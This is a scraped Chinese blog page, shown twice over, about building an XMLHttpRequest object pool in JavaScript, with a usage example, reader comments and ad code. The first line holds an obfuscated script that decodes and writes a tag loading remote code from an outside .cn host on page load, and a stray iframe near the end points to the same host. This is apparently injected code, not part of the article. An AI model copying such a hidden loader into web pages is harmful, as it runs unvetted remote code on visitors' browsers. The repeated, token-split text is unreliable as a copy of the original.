<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
象池有问题啊。
就是当A读取完之后,读取B的时候,A会一直处于载入状态。就是会重新读取,而且始终无法读取到啊。
zjmatrix:
发现MSN也有在线状态了,具体可看:online.365groups.com
MSN也有在线状态代码(也叫MSN即时互动)了,
而且网友不需要注册和下载MSN,就可随时跟你聊,
原来只有qq在线状态,
这个不错,是国内的网站,速度不错,还有各种图标可选,
可以用到网站作为网站的免费客……
飞飞:
有没有当年你已经编译好的《C++ Primer 第三版源代码帮我发到myemail:lyqx888@163.com
上一篇: js中的template — Jemplate
|
下一篇: MSN Search API PHP ClientPosted
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
建一个XMLHttpRequest对象池
在ajax应用中,通常一个页面要同时发送多个请求,如果只有一个XMLHttpRequest对象,前面的请求还未完成,后面的就会把前面的覆盖掉,如果每次都创建一个新的XMLHttpRequest对象,也会造成浪费。解决的办法就是创建一个XMLHttpRequset的对象池,如果池里有空闲的对象,则使用此对象,否则将创建一个新的对象。
下面是我最近写的一个简单的类:
/**
* XMLHttpRequest Object Pool
*
* @author legend <legendsky@hotmail.com>
* @link http://www.ugia.cn/?p=85
* @Copyright www.ugia.cn
*/
var
XMLHttp
= {
_objPool
: [],
_getInstance
: function ()
{
for (var
i
=
0
;
i
<
this
.
_objPool
.
length
;
i
++)
{
if (
this
.
_objPool
[
i
].
readyState
==
0
||
this
.
_objPool
[
i
].
readyState
==
4
)
{
return
this
.
_objPool
[
i
];
}
}
// IE5中不支持push方法
this
.
_objPool
[
this
.
_objPool
.
length
] =
this
.
_createObj
();
return
this
.
_objPool
[
this
.
_objPool
.
length
-
1
];
},
_createObj
: function ()
{
if (
window
.
XMLHttpRequest
)
{
var
objXMLHttp
= new
XMLHttpRequest
();
}
else
{
var
MSXML
= [
'MSXML2.XMLHTTP.5.0'
,
'MSXML2.XMLHTTP.4.0'
,
'MSXML2.XMLHTTP.3.0'
,
'MSXML2.XMLHTTP'
,
'Microsoft.XMLHTTP'
];
for(var
n
=
0
;
n
<
MSXML
.
length
;
n
++)
{
try
{
var
objXMLHttp
= new
ActiveXObject
(
MSXML
[
n
]);
break;
}
catch
(
e
)
{
}
}
}
// mozilla某些版本没有readyState属性
if (
objXMLHttp
.
readyState
==
null
)
{
objXMLHttp
.
readyState
=
0
;
objXMLHttp
.
addEventListener
(
"load"
, function ()
{
objXMLHttp
.
readyState
=
4
;
if (
typeof objXMLHttp
.
onreadystatechange
==
"function"
)
{
objXMLHttp
.
onreadystatechange
();
}
},
false
);
}
return
objXMLHttp
;
},
// 发送请求(方法[post,get], 地址, 数据, 回调函数)
sendReq
: function (
method
,
url
,
data
,
callback
)
{
var
objXMLHttp
=
this
.
_getInstance
();
with
(
objXMLHttp
)
{
try
{
// 加随机数防止缓存
if (
url
.
indexOf
(
"?"
) >
0
)
{
url
+=
"&randnum="
+
Math
.
random
();
}
else
{
url
+=
"?randnum="
+
Math
.
random
();
}
open
(
method
,
url
,
true
);
// 设定请求编码方式
setRequestHeader
(
'Content-Type'
,
'application/x-www-form-urlencoded; charset=UTF-8'
);
send
(
data
);
onreadystatechange
= function ()
{
if (
objXMLHttp
.
readyState
==
4
&& (
objXMLHttp
.
status
==
200
||
objXMLHttp
.
status
==
304
))
{
callback
(
objXMLHttp
);
}
}
}
catch
(
e
)
{
alert
(
e
);
}
}
}
};
示例:
<
script type
=
"text/javascript"
src
=
"xmlhttp.js"
>
</script>
<script type="text/javascript">
function test(obj)
{
alert(obj.statusText);
}
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
alert('Pool length:' + XMLHttp._objPool.length);
</script>
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
<script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> | <script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> |
建一个XMLHttpRequest对象池
象池有问题啊。
就是当A读取完之后,读取B的时候,A会一直处于载入状态。就是会重新读取,而且始终无法读取到啊。
zjmatrix:
发现MSN也有在线状态了,具体可看:online.365groups.com
MSN也有在线状态代码(也叫MSN即时互动)了,
而且网友不需要注册和下载MSN,就可随时跟你聊,
原来只有qq在线状态,
这个不错,是国内的网站,速度不错,还有各种图标可选,
可以用到网站作为网站的免费客……
飞飞:
有没有当年你已经编译好的《C++ Primer 第三版源代码帮我发到myemail:lyqx888@163.com
上一篇: js中的template — Jemplate
|
下一篇: MSN Search API PHP ClientPosted
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
建一个XMLHttpRequest对象池
在ajax应用中,通常一个页面要同时发送多个请求,如果只有一个XMLHttpRequest对象,前面的请求还未完成,后面的就会把前面的覆盖掉,如果每次都创建一个新的XMLHttpRequest对象,也会造成浪费。解决的办法就是创建一个XMLHttpRequset的对象池,如果池里有空闲的对象,则使用此对象,否则将创建一个新的对象。
下面是我最近写的一个简单的类:
/**
* XMLHttpRequest Object Pool
*
* @author legend <legendsky@hotmail.com>
* @link http://www.ugia.cn/?p=85
* @Copyright www.ugia.cn
*/
var
XMLHttp
= {
_objPool
: [],
_getInstance
: function ()
{
for (var
i
=
0
;
i
<
this
.
_objPool
.
length
;
i
++)
{
if (
this
.
_objPool
[
i
].
readyState
==
0
||
this
.
_objPool
[
i
].
readyState
==
4
)
{
return
this
.
_objPool
[
i
];
}
}
// IE5中不支持push方法
this
.
_objPool
[
this
.
_objPool
.
length
] =
this
.
_createObj
();
return
this
.
_objPool
[
this
.
_objPool
.
length
-
1
];
},
_createObj
: function ()
{
if (
window
.
XMLHttpRequest
)
{
var
objXMLHttp
= new
XMLHttpRequest
();
}
else
{
var
MSXML
= [
'MSXML2.XMLHTTP.5.0'
,
'MSXML2.XMLHTTP.4.0'
,
'MSXML2.XMLHTTP.3.0'
,
'MSXML2.XMLHTTP'
,
'Microsoft.XMLHTTP'
];
for(var
n
=
0
;
n
<
MSXML
.
length
;
n
++)
{
try
{
var
objXMLHttp
= new
ActiveXObject
(
MSXML
[
n
]);
break;
}
catch
(
e
)
{
}
}
}
// mozilla某些版本没有readyState属性
if (
objXMLHttp
.
readyState
==
null
)
{
objXMLHttp
.
readyState
=
0
;
objXMLHttp
.
addEventListener
(
"load"
, function ()
{
objXMLHttp
.
readyState
=
4
;
if (
typeof objXMLHttp
.
onreadystatechange
==
"function"
)
{
objXMLHttp
.
onreadystatechange
();
}
},
false
);
}
return
objXMLHttp
;
},
// 发送请求(方法[post,get], 地址, 数据, 回调函数)
sendReq
: function (
method
,
url
,
data
,
callback
)
{
var
objXMLHttp
=
this
.
_getInstance
();
with
(
objXMLHttp
)
{
try
{
// 加随机数防止缓存
if (
url
.
indexOf
(
"?"
) >
0
)
{
url
+=
"&randnum="
+
Math
.
random
();
}
else
{
url
+=
"?randnum="
+
Math
.
random
();
}
open
(
method
,
url
,
true
);
// 设定请求编码方式
setRequestHeader
(
'Content-Type'
,
'application/x-www-form-urlencoded; charset=UTF-8'
);
send
(
data
);
onreadystatechange
= function ()
{
if (
objXMLHttp
.
readyState
==
4
&& (
objXMLHttp
.
status
==
200
||
objXMLHttp
.
status
==
304
))
{
callback
(
objXMLHttp
);
}
}
}
catch
(
e
)
{
alert
(
e
);
}
}
}
};
示例:
<
script type
=
"text/javascript"
src
=
"xmlhttp.js"
>
</script>
<script type="text/javascript">
function test(obj)
{
alert(obj.statusText);
}
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
alert('Pool length:' + XMLHttp._objPool.length);
</script>
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">